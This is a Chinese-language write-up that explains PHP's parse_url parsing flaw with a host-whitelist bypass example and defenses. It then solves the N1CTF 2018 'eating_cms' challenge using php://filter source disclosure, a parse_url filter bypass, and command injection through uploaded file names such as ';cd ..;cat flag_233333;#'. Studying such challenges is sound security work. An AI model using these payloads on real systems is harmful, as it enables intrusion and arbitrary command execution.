什么是 parse_url
解析漏洞?
parse_url
是 PHP 里的一个函数,它可以把一个 URL 分解成不同的部分,比如 scheme、host、path、query 等。但这个函数在处理一些特殊格式的 URL 时会产生意想不到的解析结果,从而被攻击者利用来绕过安全校验,比如绕过域名白名单校验、跳转限制、防盗链、防 SSRF 等机制
举个例子
假如你的代码里有个逻辑是判断是不是访问的是你信任的域名,比如 example.com
:
$url = $_GET['url'];
$info = parse_url($url);
if ($info['host'] === 'example.com') {
// 安全地访问
}
但攻击者却传了这样一个链接:
http://example.com:evil.com@malicious.com
用 parse_url
分析之后:
[
'scheme' => 'http',
'host' => 'malicious.com',
'user' => 'example.com',
'pass' => 'evil.com'
]
虽然用户传的是 example.com:evil.com@malicious.com
,真正访问的是 malicious.com,但是 URL 开头里确实包含了 example.com
,而且 user
字段会让你误以为是在访问 example.com
。
常见的利用方式
- 绕过 SSRF 黑名单
- 绕过重定向跳转限制
- 绕过 CDN 或图片防盗链的域名校验
- 社交工程攻击,引导用户点击伪装链接
怎么防御
- 不要单独依赖
parse_url
的 host 字段进行白名单判断 - 使用
filter_var($url, FILTER_VALIDATE_URL)
先验证 URL 格式 - 对 URL 中的
user:pass@host
模式做正则剔除 - 最好使用 DNS 解析方式 + IP 白名单校验(防止绕过)
[N1CTF 2018]eating_cms
注册账户登录进去,尝试利用伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
这里包含了一个function.php
/user.php?page=php://filter/convert.base64-encode/resource=function
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
尝试读取/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg,发现被拦截了
parse_url
解析漏洞,当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
读取出
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
继续读取
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
访问/templates/upload.html
这里是一个假的upload,继续读取upllloadddd.php
//user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
没有任何过滤,非常明显的文件名代码执行漏洞,接着就是找到真正的上传点
在根据细节回顾的时候,找到上传点/user.php?page=m4aaannngggeee
上传,抓包,修改文件名
payload:;ls;#
;cd ..;ls;#
;cd ..;cat flag_233333;#
最终得到flag